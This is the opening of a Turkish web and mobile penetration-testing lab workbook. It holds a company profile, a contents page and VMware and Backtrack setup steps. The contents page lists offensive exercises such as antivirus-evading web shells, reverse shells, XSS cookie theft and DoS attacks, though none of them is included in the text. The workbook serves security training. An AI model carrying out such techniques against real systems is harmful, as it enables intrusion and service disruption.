Web ve Mobil Uygulama Güvenlik Testleri Eğitimi Uygulama Kitabı
1. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Web/Mobil Uygulama
Güvenlik Testleri Eğitimi
Uygulama Kitabı
Yazarlar: Celal ERDİK & Onur ALANBEL
Katkıda Bulunanlar: Ömer ALBAYRAK, Huzeyfe ÖNAL, Ender AKBAŞ
Baskı: Aralık, 2013
2. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
BGA Bilgi Güvenliği A.Ş. Hakkında
BGA Bilgi Güvenliği A.Ş. 2008 yılından bu yana siber güvenlik alanında faaliyet göstermektedir.
Ülkemizdeki bilgi güvenliği sektörüne profesyonel anlamda destek olmak amacı ile kurulan BGA Bilgi
Güvenliği,stratejik siber güvenlikdanışmanlığı ve güvenlik eğitimleri konularında kurumlara hizmet
vermektedir.
Uluslararası geçerliliğe sahip sertifikalı 50 kişilikteknik ekibi ile,faaliyetlerini Ankara ve İstanbul ve
USA’da sürdüren BGA Bilgi Güvenliği’ninilgi alanlarını “Sızma Testleri, Güvenlik Denetimi, SOME, SOC
Danışmanlığı, Açık Kaynak Siber Güvenlik Çözümleri, Büyük Veri Güvenlik Analizi ve Yeni Nesil
Güvenlik Çözümleri”oluşturmaktadır.
Gerçekleştirdiği başarılı danışmanlık projeleri ve eğitimlerle sektörde saygın bir yer edinen BGA Bilgi
Güvenliği, kurulduğu günden bugüne alanında lider finans, enerji, telekom ve kamu kuruluşlarına
1.000'den fazlaeğitimve danışmanlıkprojelerigerçekleştirmiştir.
BGA Bilgi Güvenliği, kurulduğu 2008 yılından beri ülkemizde bilgi güvenliği konusundaki bilgi ve
paylaşımlarınartmasıamacı ile güvenlike-postalisteleri oluşturulması,seminerler,güvenliketkinlikleri
düzenlenmesi, üniversite öğrencilerine kariyer ve bilgi sağlamak için siber güvenlik kampları
düzenlenmesi ve sosyal sorumlulukprojeleri gibi birçokkonudagönüllüfaaliyetlerde bulunmuştur.
BGA Bilgi Güvenliği AKADEMİSİ Hakkında
BGA Bilgi GüvenliğiA.Ş.’nineğitimve sosyalsorumlulukmarkasıolarakçalışanBilgi Güvenliği
AKADEMİSİ,sibergüvenlikkonusundaticari,gönüllüeğitimlerindüzenlenmesi ve sibergüvenlik
farkındalığını arttırıcı gönüllüfaaliyetleri yürütülmesindensorumludur.Bilgi Güvenliği AKADEMİSİ
markasıylabugüne kadar“SiberGüvenlik Kampları”,“SiberGüvenlikStaj Okulu”,“SiberGüvenlikAr-
Ge DestekBursu”, ”Ethical Hackingyarışmaları” ve “SiberGüvenlikKütüphanesi” gibi birçok gönüllü
faaliyetindestekleyici olmuştur.
3. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
İçindekiler
Vmware Sanallaştırma Platformu...............................................................................................9
Windows Sistemlere Vmware Player Kurulumu ........................................................................9
Ön Gereksinimler....................................................................................................................9
Kurulum Aşaması....................................................................................................................9
Linux Sistemlere Vmware Player Kurulumu ...............................................................................9
Ön Gereksinimler....................................................................................................................9
Kurulum Aşaması..................................................................................................................10
Vmware Player Pencereleri ......................................................................................................10
Yeni Sanal İşletim Sistemi Oluşturmak .....................................................................................11
Varolan Bir Vmware İmajını içe Aktarmak...............................................................................14
VMware Tools Kurulumu..........................................................................................................16
Windows Sistemlere Vmware Tools Kurulumu....................................................................16
Linux Sistemlere Vmware Tools Kurulumu...........................................................................16
VMware Network Ayarları........................................................................................................17
VMware Ağ Arabiriminin MAC Adresini Değiştirmek...............................................................18
Backtrack 5 R3 Kurulumu .........................................................................................................19
Backtrack Temelleri ..................................................................................................................19
Backtrack Kurulumu .................................................................................................................19
Adım Adım VMware Imajı Oluşturmak.................................................................................20
Adım Adım Backtrack Kurulumu...........................................................................................23
Backtrack VMware İmajı Kullanımı...........................................................................................26
Güncelleme...............................................................................................................................27
Paket Deposunu Güncelleme ...............................................................................................27
Uygulama Güncelleme .........................................................................................................28
Örnek Uygulama Güncelleme...........................................................................................29
Backtrack Linux Dağıtımını Güncelleme ...............................................................................29
Backtrack Linux Dağıtımı Genel Ayarları...............................................................................29
Hostname .........................................................................................................................29
Password...........................................................................................................................29
Klavye................................................................................................................................30
Ekran Çözünürlüğü ...........................................................................................................31
Network Ayarları...................................................................................................................31
Dhcp ile IP Almak..............................................................................................................31
Sabit IP Ataması................................................................................................................32
4. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Gateway Tanımlama.........................................................................................................33
DNS Tanımlama ................................................................................................................33
Static Route Kaydı Girme ..................................................................................................34
Network Ayarlarının Test Edilmesi...................................................................................34
Network Ayarlarının Kalıcı Hale Getirilmesi .....................................................................36
Kablosuz Ağ Ayaları...............................................................................................................37
Backtrack Temel Ayarları..........................................................................................................41
Web Application Pentest Lab Uygulamaları.............................................................................45
Uygulama No: BGA-WPT-01 .....................................................................................................45
Uygulama Adı: HTTP Parameter Pollution Kullanarak WAF Atlatma ...............................45
Uygulama No: BGA-WPT-02 .....................................................................................................47
Uygulama Adı: HTML Form Tabanlı Kaba Kuvvet Saldırıları.............................................47
Uygulama No: BGA-WPT-03 .....................................................................................................53
Uygulama Adı: İstemci Tarafı Güvenlik Korumalarını Aşma - Java Script.........................53
Uygulama No: BGA-WPT-04 .....................................................................................................58
Uygulama Adı: İstemci Tarafı Güvenlik Korumalarını Aşma - HTML Form.......................58
Uygulama No: BGA-WPT-05 .....................................................................................................59
Uygulama Adı: Sqlmap Kullanarak Blind Sqli Veri Çekme ................................................59
Uygulama No: BGA-WPT-06 .....................................................................................................62
Uygulama Adı: SQLi Kullanarak Giriş Formu Aşma / Authentication Bypass ...................62
Uygulama No: BGA-WPT-07 .....................................................................................................65
Uygulama Adı: Web Testlerinde Saldırı Engelleme Sistemini Atlatma ............................65
Uygulama No: BGA-WPT-08 .....................................................................................................66
Uygulama Adı: Encoding Kullanarak IPS Şaşırtma ............................................................66
Uygulama No: BGA-WPT-09 .....................................................................................................68
Uygulama Adı: Web Uygulama Testlerinde Encoding Yöntemleri ve Kullanım Alanları ..68
Uygulama No: BGA-WPT-10 .....................................................................................................70
Uygulama Adı: Google Üzerinden Web Uygulamalarına Ait Girdi Alanlarının Belirlenmesi
..........................................................................................................................................70
Uygulama No: BGA-WPT-11 .....................................................................................................70
Uygulama Adı: Google Üzerinden Hedef Sisteme Ait Web Platformu Araştırması .........70
Uygulama No: BGA-WPT-12 .....................................................................................................71
Uygulama Adı: Directory Traversal Kullanarak Sistemde Gezinme..................................71
Uygulama No: BGA-WPT-13 .....................................................................................................73
Uygulama Adı: Desteklenen HTTP Metodlarını Belirleme................................................73
5. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Uygulama No: BGA-WPT-14 .....................................................................................................74
Uygulama Adı: HTTP Yetkilendirme Yöntemleri Kaba Kuvvet Saldırısı(Brute Force Attack)
- Basic Authentication.......................................................................................................74
Uygulama No: BGA-WPT-15 .....................................................................................................75
Uygulama Adı: Antivirüsler Tarafından Yakalanmayan PHP Shell Oluşturma ..................75
Uygulama No: BGA-WPT-16 .....................................................................................................77
Uygulama Adı: HTTP PUT Desteği Aktif Web Sunucusu Üzerinden Sistem Ele Geçirme .77
Uygulama No: BGA-WPT-17 .....................................................................................................79
Uygulama Adı: Stored XSS Kullanarak Zararlı Yazılım Barındıran Sayfaya Yönlendirme ..79
Uygulama No: BGA-WPT-18 .....................................................................................................81
Uygulama Adı: Antivirüsler Tarafından Yakalanmayan ASP Shell Oluşturma ..................81
Uygulama No: BGA-WPT-19 .....................................................................................................83
Uygulama Adı: Time Based Blind Sqli Zafiyeti Belirleme Yöntemi ...................................83
Uygulama No: BGA-WPT-20 .....................................................................................................86
Uygulama Adı: Time Based Blind Sqli Zafiyeti Üzerinden Veri Çekme .............................86
Uygulama No: BGA-WPT-21 .....................................................................................................88
Uygulama Adı: Insecure Direct Object Reference Kullanarak Yetki İstismarı ..................88
Uygulama No: BGA-WPT-22 .....................................................................................................90
Uygulama Adı: Bir Web Sunucusu Üzerinde Bulunan Tüm Sayfaların Bulunması ...........90
Uygulama No: BGA-WPT-23 .....................................................................................................90
Uygulama Adı: Nikto Kullanarak Web Uygulamasına/Sunucuya Yönelik Statik Güvenlik
Testleri..............................................................................................................................90
Uygulama No: BGA-WPT-23 .....................................................................................................91
Uygulama Adı: Komut Enjeksiyonu Kullanarak İşletim Sistemi Ele Geçirme....................91
Uygulama No: BGA-WPT-24 .....................................................................................................92
Uygulama Adı: Captcha Güvenlik Kontrolleri ve Bypass Yöntemleri................................92
Uygulama No: BGA-WPT-25 .....................................................................................................93
Uygulama Adı: Firefox Web Pentest Güvenlik Eklentileri ................................................93
Uygulama No: BGA-WPT-26 .....................................................................................................94
Uygulama Adı: XSS Kullanarak Cookie Bilgilerinin Elde Edilmesi .....................................94
Uygulama No: BGA-WPT-26 .....................................................................................................96
Uygulama Adı: Session-Id ve Cookie Bilgilerinin İstismar Edilerek Farklı Yetkilere
Geçilmesi ..........................................................................................................................96
Uygulama No: BGA-WPT-27 .....................................................................................................97
Uygulama Adı: Tomcat Kullanılan Sistemleri Ele Geçirme(.war Upload Yöntemi) ..........97
Uygulama No: BGA-WPT-28 .....................................................................................................99
6. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Uygulama Adı: Clickjacking (UI Redressing) .....................................................................99
Uygulama No: BGA-WPT-29 ...................................................................................................102
Uygulama Adı: Dirbuster, Wfuzz Kullanarak Alt Dizin Keşfi ...........................................102
Uygulama No: BGA-WPT-30 ...................................................................................................107
Uygulama Adı: Local File Inclusion Kullanarak Sistemden Dosya Okuma ......................107
Uygulama No: BGA-WPT-31 ...................................................................................................109
Uygulama Adı: Local File Inclusion Kullanarak Sisteme Arka Kapı Yerleştirme..............109
Uygulama No: BGA-WPT-32 ...................................................................................................115
Uygulama Adı: HTML Form Tabanlı Brute Force Saldırıları............................................115
Uygulama No: BGA-WPT-33 ...................................................................................................119
Uygulama Adı: XSS Tespiti İçin Kullanılan Gelişmiş Payload Örnekleri ..........................119
Uygulama No: BGA-WPT-34 ...................................................................................................120
Uygulama-Adı: HTTP GET Flood DoS/DDoS Saldırısı Gerçekleştirme.............................120
Uygulama No: BGA-WPT-35 ...................................................................................................122
Uygulama-Adı: HTTP Slowloris DoS Saldırısı Gerçekleştirme .........................................122
Uygulama No: BGA-WPT-36 ...................................................................................................124
Uygulama-Adı: OWASP HTTP DoS Aracı Kullanarak Web Stres Testleri ........................124
Uygulama No: BGA-WPT-37 ...................................................................................................125
Uygulama-Adı: SSL Kullanarak DoS Gerçekleştirme .......................................................125
Uygulama No: BGA-WPT-38 ...................................................................................................126
Uygulama-Adı:Antivirüsler Tarafından Yakalanamayan JSP Shell Oluşturma................126
Uygulama No: BGA-WPT-39 ...................................................................................................127
Uygulama-Adı: Uzaktan Web Sunucu Sürüm Bilgisi ve Güvenlik Zafiyetlerini Belirleme
........................................................................................................................................127
Uygulama No: BGA-WPT-40 ...................................................................................................128
Uygulama-Adı:JBOSS JMX-Console Yetkilendirme Atlatma Zafiyeti İstismarı................128
Uygulama No: BGA-WPT-41 ...................................................................................................129
Uygulama-Adı: Flash Uygulama Testlerinde Swf Decompile .........................................129
Uygulama No: BGA-WPT-42 ...................................................................................................130
Uygulama-Adı: İçerik Yönetim Sistemlerine Yönelik Güvenlik Testleri
(Wordpress,Joomla) .......................................................................................................130
Uygulama No: BGA-WPT-43 ...................................................................................................132
Uygulama-Adı: Nessus Kullanarak Web Uygulama Güvenlik Testleri............................132
Uygulama No: BGA-WPT-44 ...................................................................................................133
Uygulama-Adı: Web Servis Uygulama Güvenlik Testleri................................................133
Uygulama No: BGA-WPT-45 ...................................................................................................134
7. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Uygulama-Adı: Webdav Servisine Yönelik Keşif ve Sızma Girişimleri ............................134
Uygulama No: BGA-WPT-46 ...................................................................................................141
Uygulama-Adı: PHP ile Reverse Shell Elde Etme ............................................................141
Uygulama No: BGA-WPT-47 ...................................................................................................144
Uygulama-Adı: ASP ile Reverse Shell Elde Etme.............................................................144
Uygulama No: BGA-WPT-48 ...................................................................................................146
Uygulama-Adı: OWA(Outlook Web App.) Yönelik Kaba Kuvvet(Brute Force) Çalışmaları
........................................................................................................................................146
Uygulama No: BGA-WPT-49 ...................................................................................................149
Uygulama-Adı: Wordpress Sistemlere Yönelik Sızma Çalışmaları..................................149
Uygulama No: BGA-WPT-50 ...................................................................................................154
Uygulama-Adı: Mysql Load_file() ve Into outfile() Fonksiyonları Aracılığı ile Sistemlere
Shell Atma....................................................................................................................154
Uygulama No: BGA-WPT-51 ...................................................................................................157
Uygulama-Adı: Web Sunucu Loglarında Saldırı Analizi ..................................................157
Uygulama No: BGA-WPT-52 ...................................................................................................164
Uygulama-Adı: Arachni Kullanarak Web Uygulama Testleri Gerçekleştirme ................164
Uygulama No: BGA-WPT-53 ...................................................................................................169
Uygulama-Adı: Web Uygulama Test Araçlarını SSH Tünel Üzerinden Kullanma ...........169
Uygulama No: BGA-WPT-54 ...................................................................................................171
Uygulama-Adı: Web Uygulama Testlerinde Antivirüs Atlatmak için Alternatif Web Shell
Upload Çalışmaları..........................................................................................................171
Uygulama No: BGA-WPT-55 ...................................................................................................175
Uygulama-Adı:Burp Suite Eklenti Kullanımı ...................................................................175
1. Adım:...............................................................................................................................176
........................................................................................................................................177
Uygulama No: BGA-WPT-56 ...................................................................................................179
Uygulama-Adı: Sqlmap ile Web Uygulama Testlerinde IPS/WAF Atlatma.....................179
Uygulama No: BGA-WPT-57 ...................................................................................................182
Uygulama-Adı: HPP (HTTP Parameter Pollution) Zafiyeti ..............................................182
Uygulama No: BGA-WPT-58 ...................................................................................................185
Uygulama-Adı: W3af Aracını Proxy Olarak Kullanarak Web Uygulama Testleri
Gerçekleştirme ...............................................................................................................185
Uygulama No: BGA-WPT-59 ...................................................................................................188
Uygulama-Adı: Web Uygulama Güvenlik Testlerinde İleri Seviye Sqlmap Kullanımı.....188
Uygulama No: BGA-WPT-60 ...................................................................................................192
8. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Uygulama-Adı:Local File Inclusion Kullanarak Shell Elde Etme......................................192
http://3.3.3.12/mutillidae/index.php ............................................................................193
Uygulama No: BGA-WPT-61 ...................................................................................................199
Uygulama-Adı: Webshell Üzerinden Default RDP Portunu Değiştirerek Firewall Atlatma
........................................................................................................................................199
Uygulama No: BGA-WPT-62 ...................................................................................................200
Uygulama-Adı: Android Uygulamaları İçin Test Ortamının Oluşturulması ....................200
Uygulama No: BGA-WPT-63 ...................................................................................................204
Uygulama-Adı: Android Uygulamarını Proxy Üzerinden Geçirme .................................204
Uygulama No: BGA-WPT-64 ...................................................................................................210
Uygulama-Adı: Uygulama Sertfikalarının Mobil Cihazda Trusted Listesine Aldırılması.210
Uygulama No: BGA-WPT-65 ...................................................................................................211
Uygulama-Adı: Android Debug Bridge (adb) Kullanımı..................................................211
Uygulama No: BGA-WPT-66 ...................................................................................................213
Uygulama-Adı: Emülatör Üzerinden .apk Uzantılı Mobil Uygulamaların Kurulumu ......213
Uygulama No: BGA-WPT-67 ...................................................................................................214
Uygulama-Adı: Android Uygulamalarına Ait Local Veritabanı Testleri ..........................214
Uygulama No: BGA-WPT-68 ...................................................................................................216
Uygulama-Adı: Android Uygulamalarda Sql İnjection Açıklığı Tespiti............................216
Uygulama No: BGA-WPT-69 ...................................................................................................218
Uygulama-Adı: Android Uygulamalarda Ön Bellek(Cache) İnceleme ...........................218
Uygulama No: BGA-WPT-70 ...................................................................................................219
Uygulama-Adı: Android Uygulamalarda Log Görüntüleme ve Analizi ...........................219
Uygulama No: BGA-WPT-71 ...................................................................................................221
Uygulama-Adı: iOS uygulamaları İçin Test Ortamının Oluşturulması.............................221
Uygulama No: BGA-WPT-72 ...................................................................................................223
Uygulama-Adı:Android Uygulamaların Decompile Edilmesi..........................................223
Uygulama No: BGA-WPT-73 ...................................................................................................224
Uygulama-Adı:Android Uygulamaları İçin Statik Analiz Yöntem ve Araçları..................224
Uygulama No: BGA-WPT-74 ...................................................................................................225
Uygulama-Adı: iOS Uygulamaları İçin Statik Analiz Yöntem ve Araçları........................225
Uygulama No: BGA-WPT-75 ...................................................................................................227
Uygulama-Adı:GoatDroid and iGoat Kullanım Amaçları ................................................227
9. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
VmwareSanallaştırma Platformu
Vmware bir sanallaştırma yazılımıdır. Tek bir fiziksel makinada, birden çok işletim sistemini bir
birinden bağımsız ve aynı anda çalıştırmayı sağlar.
Fiziksel donanımları sanallaştırarak her bir işletim sisteminde ayrı ayrı kullanır.
Vmware player ücretsiz olarak indirip kullanılabilir. Linux ve Windows sitemleri destekler.
Windows SistemlereVmwarePlayer Kurulumu
Kurulum sihirbazı çalıştırılarak Windows sistemlere kurulum başlatılabilir.
Ön Gereksinimler
1. 32 bit veya 64 bit windows işletim sistemi
2. Windows XP ve sonrası sistemler
3. Minimum 2 GB RAM
4. Minimum 20 GB boş disk alanı
5. Minimum 1 adet Ethernet kartı
Kurulum Aşaması
1. Windows işletim sisteminize, program kurma yetkisi olan bir kullanıcı hesabı ile giriş
yapınız.
2. Aşağıdaki adresden windows işletim sisteminize uygun olan vmware player sürümü
indiriniz.
https://my.vmware.com/web/vmware/free#desktop_end_user_computing/vmware_pla
yer/5_0
3. Kurulum dosyasını ‘VMware-Player-xxxx-xxxx.exe’ çift tıklayarak, kurulum sihirbazı
çalıştırın ve varsayılan ayarlarla kurulumu sonlandırın.
Linux Sistemlere VmwarePlayer Kurulumu
Vmware player bir çok linux dağıtımı desteklemektedir. Popüler linux dağıtımlarında kurulum
sihirbazı grafik arabirimden çalıştırılarak kurulum tamamlanabilir. Redhat Linux gibi bazı
dağıtımlarda komut satırından kurulum yapmanız gerekebilir. Bu durumda kurulum dosyası –
console seçeneği ile komut satırından başlatılabilir.
Ön Gereksinimler
1. 32 bit veya 64 bit windows işletim sistemi
2. Windows XP ve sonrası sistemler
3. Minimum 2 GB RAM
4. Minimum 20 GB boş disk alanı
5. Minimum 1 adet Ethernet kartı
Kurulum sonrası işletim sisteminizi yeniden başlatıp Vmware Player çalıştırınız.
10. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Kurulum Aşaması
1. Linux tabanlı işletim sisteminize giriş yapın.
2. Kurulum için ‘root’ haklarına geçiş yapın. Örneğin; ‘su root’
3. Aşağıdaki adresden linux işletim sisteminize uygun olan vmware player sürümü
indiriniz.
https://my.vmware.com/web/vmware/free#desktop_end_user_computing/vmware_pla
yer/5_0
4. Komut satırından ‘sh VMware-Player-e.x.p-xxxx-xxxx.architecture.bundle’ komutu ile
kurulum sihirbazını başlatın ve varsayılan ayarlarla kurulumu tamamlayın.
Kurulum sonrası root haklarına tekrar ihtiyacınız olmayacaktır. İşletim sisteminizi yeniden
başlatıp Vmware Player çalıştırınız.
VmwarePlayer Pencereleri
Bu aşamadan sonraki tüm anlatılanlar, Linux ve Windows sistemlerden bağımsız vmware
player özellikleridir.
Home penceresi, yeni bir Sanal Makina (Virtual Machine) oluşturmak, varolan sanal
makina imajını açmak yada vmware player için yardım almakda kullanılır.
11. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Yeni Sanal İşletim Sistemi Oluşturmak
Home menüsünden ‘Create a New Virtual Machine’ seçeneği ile yeni bir sanal işletim sistemi
kurulumu başlatılabilir.
1. İlk adımda, kurulacak işletim sisteminin kaynağı seçilmeldir.
1.1. İşletim sistemi CD ROM aracılığı ile seçilebilir.
1.2. İşletim sisteminin .iso dosyası diskden seçilebilir.
1.3. Veya sonraya ertelenebilir.
Vmware Player, Windows ve bazı popüler Linux dağıtımları için kurulum tipini otomotik
algılayabilmektedir ve kolay kurulum sihirbazı ile devam etmektedir. Seçim yapıldıkdan sonra
‘Next’ seçeneği ile sonraki adıma geçilir.
2. Windows 7 kurulumunu algıladıvekolay kurulum sihirbazını başlattı. Burada lisans bilgileri
ve windows bilgileri tamamlanarak hızlı kurulum başlatılabilir. Bu aşadaman sonra
Windows 7 kurulum ile ilgili ek bir soru ile karşılaşmayacaksınız.
12. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
3. Sanal makina adı ve kurulum dosyalarının tutulacağı dizin varsayılan ayarlarla bırakılabilir.
Kurulum dosyalarını farklı bir dizinde saklayabilir ve kurulum amacına uygun bir isim ile
devam edebilirsiniz.
4. Disk kapasitesi işletim sistemi türüne gore otomotik olarak atanır fakat minimum
gereksinimleri göz önünde bulundurarak mevcut disk kapasitenize gore yükseltebilir veya
azaltabilirsiniz.
13. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
5. Son aşamaya geldiğinizde kurulum özeti ile bilgilendirileceksiniz. ‘Finish’ seçeneği ile
yapılandırmayı bitirdiğinizde kurulum otomotik olarak başlayacaktır.
14. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Windows kurulumundan bir görünüm
Varolan Bir Vmwareİmajını içe Aktarmak
Vmware aracılığıyla kurulan sanal işletim sistemleri taşınabilir, kopyalanabilir. Örneğin
evinizde hazırladığınız ve hali hazırda kullandığınız bir windows vmware imajını ofisinize
taşıyabilir bire bir aynı ayarlarla ofisinizdeki vmware aracılığıyla kullanabilirsiniz.
Aşağıdaki örnekde Centos 5 vmware imajı içe aktarılmıştır.
Bir vmware imajını içeaktarma işlemi ‘Home’ sekmesinden ‘Open a Virtual Machine’ seçeneği
seçilerek VMware imajının yolu seçilir.
15. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Yukarıdaki ekran görüntüsüde görüldüğü üzere, Centos 5 kullanıma hazırdır.
16. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
VMwareTools Kurulumu
VMware Tools, sanal makinanın performanslı çalışmasını ve gerçek işletim sistemi ile kolay
entegre olmasını sağlar. VMware tools kurulumu sonrası, gerçek bilgisayarınızdan dosyaları
sanal işletim sistemine sürükle bırak yöntemi ile aktarabilir, metinleri kopyala/yapıştır vb.
Işleler yapabilirsiniz.
Windows Sistemlere Vmware Tools Kurulumu
1. Player > Manage > İnstall VMware Tools Installation sekmesinden kurulum başlatılabilir.
Eğer VMware Tools bilgisayarınızda yoksa otomotik olarak internetten indirilecektir.
2. VMware Tools sanal CDROM aracılığı ile işletim sistemine bağlanacaktır. Eğer autorun
otomotik olarak başlamazsa ‘Bilgisayarım > DVD Drive’ çift tıklanarak kurulum
başlatılabilir.
3. Kurulum sihirbazı aracılığıyla varsayılan ayarlar ile kurulum tamamlanabilir. Kurulum
başarıyla tamamlandıkdan sonra sisteminizi yeniden başlatınız.
Linux Sistemlere Vmware Tools Kurulumu
1. Player > Manage > İnstall VMware Tools Installation sekmesinden kurulum başlatılabilir.
Eğer VMware Tools bilgisayarınızda yoksa otomotik olarak internetten indirilecektir.
2. VMware Tools sanal CDROMaracılığı ile işletimsistemine bağlanacaktır.
3. Aşağıdaki komutlar ile vmware tools default ayarları ile kurulur.
# cd /media/VMware Tools/
# tar zxf VMwareTools-9.2.2-893683.tar.gz -C /tmp/
# cd /tmp/vmware-tools-distrib/
# perl vmware-install.pl –d
17. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Kurulum başarıyla tamamlandıkdan sonra, ‘reboot’ komutu ile backtrack 5 işletim sisteminin
yeniden başlatılmasını tafsiye ederim.
VMwareNetwork Ayarları
Ağ arabirimleri üç farklı bağlantı türünü destekler;
1. Bridge: Sanal ağ arabirimi, bağlı bulunduğu fiziksel network ile haberleşebilir. Yerel ağda
bulunan DHCP sunucudan ip alabilirveya sabitip ayarları ilefiziksel ağadahil olabilir. Yerel
ağa bir bilgisayar dahil etmişsiniz gibi düşünebilirsiniz. Sanal bir ağ arabirimi fakat kendine
ait bir MAC adresi bulunuyor ve kendi MAC adresi ile yerel ağda iletişim kuruyor.
2. NAT: VMware üzerinde çalışan sanal işletimsistemlerinin yerel ağa kapalı kendi aralarında
iletişim kurabildikleri sanal bir ağdır. Sanal makinalara sabit ip adresi tanımlanabilir veya
vmware dhcp servisiileotomotik ip adresialınabilir.Sanal sistemleraynı zamanda VMware
kurulu gerçek işletim sistemi ile haberleşebilirler.
3. HostOnly: Yalnızca sanal işletim sistemlerinin bir birleri ile haberleştiği tamamen dış
dünyaya kapalı bir ağ yapısıdır.
VMware network ayarları aşağıdaki seçeneklerle değiştirilebilir;
‘Player > Manager > Virtual Machine Settings > Network Adapters’
18. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Backrack 5 bölümünde bu ayarların detayları uygulamalı olarak aktarılmıştır.
VMwareAğ Arabiriminin MAC AdresiniDeğiştirmek
VMware sanal ağ arabirimlerinin kendisine ait Mac adresleri vardır. Ağ arabiriminin Mac
adresini görüntülemek ve gerektiğinde değiştirmek için ‘Player > Manager > Virtual Machine
Settings > Network Adapters > Advanced’ seçeneği kullanılabilir.
‘Mac Address’ bölümünden ‘Generate’ butonu ile yeni Mac adresi üretilebilir.
19. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Backtrack 5 R3 Kurulumu
Bu kitapda yer alan uygulamalar ve metasploit framework backtrack 5 r3 işletim sistemi
kullanılarak gerçekleştirilmiştir.
Backtrack, Ubuntu linux temelli bir dağıtımdır. Güvenlik uzmanları ve hackerlar için
oluşturulmuş içerisinde açık kaynak kodlu güvenlik araçlarının hali hazırda kategoriler halinde
sunulduğu bir dağıtımdır.
Ağ analizi , sızma testleri (penetrasyon testi), bilgisayar ağlarında adli bilişim, zararlı yazılım
analizi gibi konularda araştırma/çalışma yapan uzmanların sıklıkla kullandığı ve geliştirdiği
ücretsiz ve açık kaynak bir çok yazılımı bünyesinde barındırır.
Backtrack Linux dağıtımı iki farklı şekilde çalışmaktadır;
Kurulum gerektirmeksizin, LiveCD ile
Diske kurulum yaparak
CD’den çalıştırma yönteminin performansı, CD okuyucunun hızına gore değişecektir. CD
yalnızca okunabilir olduğundan yalnızca harici disk kullanabilirseniz very depolama imkanınız
olacaktır.
Tafsiye edilen yöntem, Backtrack dağıtımını diske kurmak veya sanallaştırma platformlarında
kullanmak.
Backtrack Temelleri
Backtrack GNOME ve KDE masaüstü ortamlarına sahiptir. İndirme seçeneklerinden, alışık
olduğunuz veya tercih edebileceğiniz masaüstü ortamına sahip olabilirsiniz. Bu kitapta gnome
kullanılmıştır ve gnome masaüstü ortamı önerilir.
Backtrack, asıl gücünü komut satırından alır Tüm linux sistemlerin en güçlü yönetim arabirimi
komut satırı (konsoldur). Grafik arabirim kullanılarak erişilebilecek programların çoğu komut
satırından çalışan programların/scriptlerin düzenli hale getirilmiş halidir.
Backtrack Kurulumu
Backtrack 5 aşağıdaki adresden, donanım mimarisine uygun 31 bit ve 64 bit seçenekleri ile
indirilebilir.
http://www.backtrack-linux.org/downloads/
20. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Adım Adım VMware Imajı Oluşturmak
1. ‘Home > Create a New Virtual Machine’
2. ‘Installer Disc Image’ seçeneği ile Backtrack .iso yerel bilgisayarımızdan seçilir.
3. Backtrack Ubuntu tabanlı bir linux dağıtımı olduğu için, işletim sistemi olarak Linux ve
version olarak Ubuntu seçilerek devam edilir.
